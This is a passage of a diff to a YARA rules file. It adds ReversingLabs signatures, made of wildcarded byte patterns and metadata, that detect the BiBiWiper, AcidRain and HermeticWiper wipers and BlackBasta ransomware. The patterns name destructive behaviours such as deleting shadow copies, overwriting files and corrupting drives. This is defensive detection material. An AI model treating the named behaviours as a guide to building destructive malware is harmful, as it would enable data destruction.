+            ?? ?? ?? 73 ?? E9 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? FF 95 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4
+            ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ??
+            51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 55 ?? 8D 8D ?? ?? ??
+            ?? 51 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 50 FF 95 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($destroy_if_not_controller) and ($erase_drive_data) and ( all of ($erase_drives_recursively_*))
+}
+rule REVERSINGLABS_Win32_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects BiBiWiper trojan."
+		author = "ReversingLabs"
+		id = "8462ceb8-ec54-5f92-a3e7-c96e52647ca7"
+		date = "2023-11-28"
+		modified = "2023-11-28"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Win32.Trojan.BiBiWiper.yara#L1-L102"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d75954c05a8f82ad90a4adf6a2a3748928488ddebe40d8f8a790bfcde0b02a11"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "BiBiWiper"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$delete_shadow_copies_p1 = {
+            48 89 5C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4
+            48 89 45 ?? 33 DB 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48
+            8D 4C 24 ?? 48 89 5C 24 ?? 44 8D 43 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24
+            ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F
+            43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C
+            24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ??
+            ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89
+            44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89
+            5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ??
+            FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1
+            48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ??
+            0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ??
+            ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C
+            24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48
+            83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48
+            8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57
+            C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44
+            24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44
+            24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F
+        }
+		$delete_shadow_copies_p2 = {
+            11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24
+            ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48
+            83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24
+            ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03
+            D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ??
+            ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90 0F B6 01 88 04 0A 48 8D
+            49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24
+            ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C
+            24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F
+            11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83
+            FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ??
+            48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8
+            ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7
+            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ??
+            48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ??
+            ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90
+            0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45
+            ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9
+            48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24
+        }
+		$destroy_files_p1 = {
+            48 89 5C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48
+            33 C4 48 89 44 24 ?? 4D 8B E9 4D 8B E0 4C 8B F9 48 63 BC 24 ?? ?? ?? ?? 33 F6 89 74
+            24 ?? 48 8B 05 ?? ?? ?? ?? 48 FF C0 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 B8
+            ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48 C1 FA ?? 48 8B C2 48 C1 E8 ?? 48 03 D0 48 69 C2
+            ?? ?? ?? ?? 48 3B C8 75 ?? 4C 8B 05 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8D 0D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 C1 E3 ?? 33 D2 49 8B C4 49 F7 F5 48
+            8B E8 48 2B EB 83 FF ?? 7E ?? 48 8D 47 ?? 48 0F AF C3 33 D2 49 F7 F4 EB ?? 48 8B D6
+            45 33 C0 49 8B CF E8 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? 48 63 C8 49 3B CC 0F 87 ??
+            ?? ?? ?? 49 8B C4 48 2B C1 49 8B FC 48 2B F9 48 3B D8 48 0F 42 FB 48 8B CF E8 ?? ??
+            ?? ?? 48 89 44 24 ?? 0F 57 C0 4C 63 F7 F3 0F 7F 44 24 ?? 48 89 74 24 ?? 85 FF 74 ??
+            48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 4C 3B F0 0F 87 ?? ?? ?? ?? 49 81 FE ?? ?? ?? ?? 72
+        }
+		$destroy_files_p2 = {
+            49 8D 4E ?? 49 3B CE 0F 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ??
+            ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 49 8B CE E8 ?? ?? ?? ?? 48 89 44 24
+            ?? 4A 8D 1C 30 48 89 5C 24 ?? 4D 8B C6 33 D2 48 8B C8 E8 ?? ?? ?? ?? 48 89 5C 24 ??
+            C7 44 24 ?? ?? ?? ?? ?? 85 FF 7E ?? 48 8B DE 44 8B F7 66 0F 1F 44 00 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 88 04 0B 48 8D 5B ?? 49 83 EE ?? 75 ?? 4D 85 ED 7E
+            ?? 4D 8B CF 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 49 8B CF E8 ??
+            ?? ?? ?? 48 63 C8 48 8D 04 29 48 03 C7 49 3B C4 76 ?? 49 8B FC 48 2B F9 48 2B FD 48
+            85 FF 7E ?? 41 B8 ?? ?? ?? ?? 48 8B D5 49 8B CF E8 ?? ?? ?? ?? FF C6 48 63 C6 49 3B
+            C5 7C ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24
+            ?? 48 2B D1 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48
+            83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48
+            8B 9C 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($delete_shadow_copies_p*)) and ( all of ($destroy_files_p*))
+}
+rule REVERSINGLABS_Linux_Trojan_Acidrain : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects AcidRain trojan."
+		author = "ReversingLabs"
+		id = "802c7eb7-d407-5b07-a6b4-4648d3ad80e9"
+		date = "2024-05-10"
+		modified = "2024-05-10"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Linux.Trojan.AcidRain.yara#L1-L67"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5b47a0de8bda09d217f8a148e561f3da7ce4945f011f4a9b5dbbca88157d3080"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "AcidRain"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$destroy_files_using_ioctls = {
+            55 89 E5 57 BF ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 7C 24 ?? 8B 45 ?? 89 04 24 E8
+            ?? ?? ?? ?? 85 C0 89 C3 78 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D
+            C3 8D 45 ?? BE ?? ?? ?? ?? 89 44 24 ?? 89 74 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 4D ??
+            8B 55 ?? C7 45 ?? ?? ?? ?? ?? 85 C9 89 55 ?? 74 ?? 8D 75 ?? 8D B6 ?? ?? ?? ?? 8D BF
+            ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 01 D0 39 45
+            ?? 89 45 ?? 77 ?? 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? C7 45
+            ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 75 ?? EB ?? 31 C9 89 4C 24 ?? 8B 45 ?? 89
+            1C 24 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 7C 24 ?? 89 1C 24 89 44 24 ?? E8
+            ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 76 ?? B8 ?? ?? ?? ?? 89 74 24
+            ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C
+            24 E8 ?? ?? ?? ?? 80 7D ?? ?? 75 ?? A1 ?? ?? ?? ?? 89 7D ?? 89 45 ?? 8B 45 ?? 89 45
+            ?? 8D 45 ?? 89 44 24 ?? B8 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ??
+            8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ?? 31 FF 89 1C
+            24 E8 ?? ?? ?? ?? 31 C0 89 44 24 ?? 89 7C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 75 ?? C7
+            45 ?? ?? ?? ?? ?? 85 F6 74 ?? 8D 75 ?? 8D 76 ?? B9 ?? ?? ?? ?? 89 74 24 ?? 89 4C 24
+            ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 89 1C 24
+            E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3
+        }
+		$destroy_files_using_overwrite = {
+            55 89 E5 83 EC ?? 89 5D ?? 8B 5D ?? 8D 45 ?? 89 75 ?? 89 7D ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 5D ?? 8B 75
+            ?? 8B 7D ?? 89 EC 5D C3
+        }
+		$redundant_reboot_attempts = {
+            C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F
+            84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 0F
+            84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 8D 76 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04
+            24 E8 ?? ?? ?? ?? 31 D2 83 C4 ?? 89 D0 59 5B 5E 5F 5D 8D 61 ?? C3
+        }
+
+	condition:
+		uint32(0)==0x464C457F and ($destroy_files_using_ioctls) and ($destroy_files_using_overwrite) and ($redundant_reboot_attempts)
+}
+rule REVERSINGLABS_Win32_Trojan_Hermeticwiper : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects HermeticWiper trojan."
+		author = "ReversingLabs"
+		id = "252dfb3d-9d4e-51a4-80c9-64e17922d997"
+		date = "2022-02-24"
+		modified = "2022-02-24"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/trojan/Win32.Trojan.HermeticWiper.yara#L1-L50"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0fa519ce8285ffe4e49c2a301e8a0fd0516a05dc6b41ee0b010fdc76dd6e195e"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Trojan"
+		tc_detection_name = "HermeticWiper"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$corrupt_physical_drive = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 51 68 ?? ?? ?? ?? 0F 57 C0 89 55 ?? 8D 85 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 66 0F D6 45 ?? 33 FF 89 75 ?? 50 0F
+            11 45 ?? 89 7D ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 8D 55 ?? 8D 8D ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ??
+            BF ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 8D 45 ??
+            50 57 56 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ??
+            75 ?? 66 0F 1F 44 00 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 81 C7 ?? ??
+            ?? ?? 33 F6 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 6A ?? 6A ?? 68 ??
+            ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 F6 0F 84 ?? ?? ??
+            ?? 8B 06 C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
+            83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 55 ?? 8D 46 ?? 89 45 ?? 66 90
+            8B 00 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? FF 70 ?? FF 70
+            ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF
+            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 81 FA ?? ?? ?? ?? 72 ?? 66 83 7F ??
+            ?? 75 ?? 85 D2 0F B7 C2 B9 ?? ?? ?? ?? 0F 45 C8 66 89 4F ?? 8B 45 ?? FF 70 ?? FF 70
+            ?? FF 75 ?? FF 75 ?? 57 53 FF 55 ?? 8B 55 ?? 8B 4D ?? 8B 45 ?? 41 05 ?? ?? ?? ?? 89
+            4D ?? 89 45 ?? 3B 4E ?? 0F 82 ?? ?? ?? ?? 8B 7D ?? EB ?? FF 15 ?? ?? ?? ?? 33 FF 85
+            DB 74 ?? 83 FB ?? 74 ?? 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 F6 74 ?? 56 6A ??
+            FF D3 8B 35 ?? ?? ?? ?? 50 FF D6 EB ?? FF 15 ?? ?? ?? ?? 8B 7D ?? EB ?? 33 C0 5F 5E
+            5B 8B E5 5D C2 ?? ?? 8B 35 ?? ?? ?? ?? 85 FF 74 ?? 57 6A ?? FF D3 50 FF D6 8B 45 ??
+            5F 5E 5B 8B E5 5D C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($corrupt_physical_drive)
+}
 import "pe"
 
 rule REVERSINGLABS_Win32_Exploit_CVE20200601 : TC_DETECTION MALICIOUS EXPLOIT CVE_2020_0601 FILE
@@ -24681,8 +25450,8 @@ rule REVERSINGLABS_Win32_Exploit_CVE20200601 : TC_DETECTION MALICIOUS EXPLOIT CV
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/exploit/Win32.Exploit.CVE20200601.yara#L3-L253"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/exploit/Win32.Exploit.CVE20200601.yara#L3-L253"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e4d915560ad72e0fde63276f9ffece00535c7983125efaa8298adc11d5e54817"
 		score = 75
 		quality = 88
@@ -24898,18 +25667,18 @@ rule REVERSINGLABS_Win32_Exploit_CVE20200601 : TC_DETECTION MALICIOUS EXPLOIT CV
 	condition:
 		uint16(0)==0x5A4D and ($oid_prime_explicit) and ( any of ($ecc_public_key_*)) and (pe.number_of_signatures>0)
 }
-rule REVERSINGLABS_Win32_Ransomware_Sepsis : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Sepsis ransomware."
+		description = "Yara rule that detects BlackBasta ransomware."
 		author = "ReversingLabs"
-		id = "0c26d6e0-1d64-5f47-8e21-6710a531bc74"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "7a4ad567-0612-5a9c-8a06-4d615bc7e24a"
+		date = "2022-12-13"
+		modified = "2022-12-13"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sepsis.yara#L1-L126"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "171ad074a780b45195c6e02b111b3883c58a4028e635c4d6b8ce27c5e05e35d7"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.BlackBasta.yara#L1-L293"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "79c81a4470e9eabbd714b1a91621c7b2bbe42d5371ba2c799529662d5f5c479a"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -24917,116 +25686,246 @@ rule REVERSINGLABS_Win32_Ransomware_Sepsis : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sepsis"
+		tc_detection_name = "BlackBasta"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files_1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 84 24 ?? ?? ?? ?? 56 57 8B 3D ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF D7 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84
+		$find_files = {
+            48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38
+            75 ?? 74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ??
+            74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8B CF 48 8D 54
+            24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 85 C0 44 89 74 24 ?? 4C 89 74 24 ??
+            49 0F 45 CE 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CC 45
+            33 C0 33 D2 48 8B CF E8 ?? ?? ?? ?? 8B D8 44 38 74 24 ?? 74 ?? 48 8B 4C 24 ?? E8 ??
+            ?? ?? ?? 8B C3 E9 ?? ?? ?? ?? 49 8B 74 24 ?? 49 2B 34 24 48 C1 FE ?? 33 D2 4C 89 75
+            ?? 48 8D 4D ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 44 88 75 ?? E8 ?? ??
+            ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? 39 48 ?? 75 ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0
+            ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38 75 ?? 74 ?? 48 8B 45
+            ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0
+            ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8D 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B
+            75 ?? 33 D2 85 C0 49 8B CE 48 0F 45 CA 80 39 ?? 75 ?? 8A 41 ?? 84 C0 75 ?? 38 55 ??
+            74 ?? 49 8B CE E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 38 51 ?? 74 ?? 4D 8B CC 4D 8B C5 48
+            8B D7 E8 ?? ?? ?? ?? 44 8B E8 85 C0 75 ?? 38 45 ?? 74 ?? 49 8B CE E8 ?? ?? ?? ?? 4C
+            8B 6C 24 ?? 48 8D 55 ?? 48 8B CB FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 0F 85 ?? ?? ?? ??
+            49 8B 04 24 49 8B 54 24 ?? 48 2B D0 48 C1 FA ?? 48 3B F2 74 ?? 48 2B D6 48 8D 0C F0
+            4C 8D 0D ?? ?? ?? ?? 45 8D 46 ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 44 38 74
+            24 ?? 74 ?? 48 8B 4C 24
         }
-		$search_files_2 = {
-            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
